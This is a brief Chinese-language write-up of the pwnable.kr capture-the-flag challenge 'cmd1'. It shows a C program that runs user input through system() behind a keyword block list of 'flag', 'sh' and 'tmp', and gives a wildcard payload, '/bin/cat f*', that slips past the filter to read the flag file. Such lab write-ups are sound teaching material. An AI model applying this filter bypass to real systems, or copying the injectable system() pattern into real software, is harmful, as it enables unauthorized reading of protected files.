0x0E cmd1
题目描述
Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 (pw:guest)
题目代码
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
题目分析
首先分析代码,这道题是让你输入程序参数,并放到system执行,然后这里有个filter函数,过滤了flag、sh、tmp三个关键字,如果我们想要得到flag,就不能输入flag,想了一下,发现通配符没有过滤,然后又想到cat命令在本机bin目录下存在,因此就可以用/bin/cat f*读取flag
解题步骤
./cmd1 "/bin/cat f*"